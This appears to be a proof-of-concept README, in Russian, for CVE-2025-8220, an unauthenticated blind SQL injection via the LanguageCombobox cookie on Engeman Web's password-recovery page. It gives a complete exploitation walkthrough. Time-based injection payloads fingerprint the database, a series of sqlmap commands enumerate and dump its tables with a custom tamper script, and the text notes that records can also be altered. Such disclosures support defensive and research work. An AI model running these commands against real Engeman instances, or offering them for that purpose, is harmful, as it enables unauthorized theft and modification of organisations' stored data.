
Доказательство концепции эксплуатации уязвимости, описанной в CVE-2025-8220, которая касается возможности SQL Injection при загрузке страницы восстановления пароля в программном обеспечении Engeman Web.
Proof of concept для эксплуатации уязвимости, описанной в CVE-2025-8220, которая касается возможности SQL-инъекции при загрузке страницы восстановления пароля в программном обеспечении Engeman Web.
В программном обеспечении Engeman Web была обнаружена уязвимость, позволяющая манипулировать SQL-запросом, выполняемым при загрузке страницы восстановления пароля. Эта уязвимость может быть использована посетителями без доступа к каким-либо действительным учётным данным, то есть неаутентифицированным образом, для нарушения конфиденциальности и целостности данных, хранящихся в базе данных приложения, а также потенциально может вызвать отказ в обслуживании на уровне компонента путём изменения значений в критических таблицах.
После доступа к приложению и перенаправления на страницу входа нажмите кнопку, чтобы перейти на страницу восстановления пароля.


Проверьте запрос, отправленный браузером для загрузки страницы восстановления пароля. Вы заметите, что присутствуют некоторые cookie, включая cookie LanguageCombobox, который сохраняется при первоначальном доступе. В этой демонстрации использовалось программное обеспечение Burp Suite для более эффективного просмотра и повторной отправки запросов браузера.

Чтобы подтвердить уязвимость, вставьте одинарную кавычку в качестве значения упомянутого cookie и повторно отправьте запрос. В ответе приложения должна отобразиться ошибка, указывающая на незакрытую кавычку.

Результаты запроса не отображаются непосредственно на возвращаемой странице, что делает эту эксплуатацию слепой. Вы можете вставлять такие полезные нагрузки, как ' AND SLEEP(30)-- - или '; WAITFOR DELAY '0:0:30'--, чтобы определить используемую базу данных.

Как только инъекция подтверждена, можно использовать автоматизированный инструмент, такой как sqlmap, для выгрузки содержимого базы данных.
Важно отметить, что аргумент --technique должен включать значение SEB, чтобы использовались методы, основанные на пакетных запросах, ошибках и булевых сравнениях. Во-первых, потому что необходима слепая эксплуатация, а во-вторых, потому что пропуск опции S в значении аргумента приводил к тому, что sqlmap не мог найти точку инъекции в базах данных SQL Server.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

Через точку инъекции будут определены различные возможные методы эксплуатации. После этого можно получить информацию о базе данных.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Для выгрузки записей таблиц с помощью sqlmap необходимо использовать пользовательский tamper-скрипт (по крайней мере для баз данных SQL Server), который в этом репозитории называется replace-dbo.py. Причина в том, что полезные нагрузки sqlmap, использующие формат <database>.dbo.<table> для ссылки на объект таблицы, конфликтуют с обработкой приложения. Упомянутый tamper преобразует их только в формат <database>.<table>. Если экземпляр Engeman Web использует MySQL или другую базу данных, этот tamper не потребуется, либо потребуется создать другой.


Помните, что инструменту sqlmap требуется, чтобы в каталоге, где расположен tamper-скрипт, существовал пустой файл init.py, чтобы его можно было использовать, если вы не поместили его в каталог tamper по умолчанию для вашей установки.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
Этот tamper вызовет конфликты, если использовать его на любом этапе процесса, кроме выгрузки конкретной таблицы. Поэтому не используйте его для получения баз данных (--dbs), таблиц (--tables), столбцов (--columns) или дополнительной информации, такой как пользователь базы данных (--current-user).
Поскольку пользователь, используемый приложением для взаимодействия с базой данных, имеет высокие привилегии в контексте системных записей, также возможно манипулировать базовым запросом для изменения значений записей таблиц (это гораздо проще, если экземпляр использует SQL Server в качестве базовой базы данных).



С помощью этой уязвимости любой экземпляр системы был бы подвержен несанкционированному получению и, возможно, изменению данных, присутствующих в используемой базе данных.
Эта уязвимость была подтверждена в версиях до 12.0.0.1, но более новая версия, вероятно, также уязвима.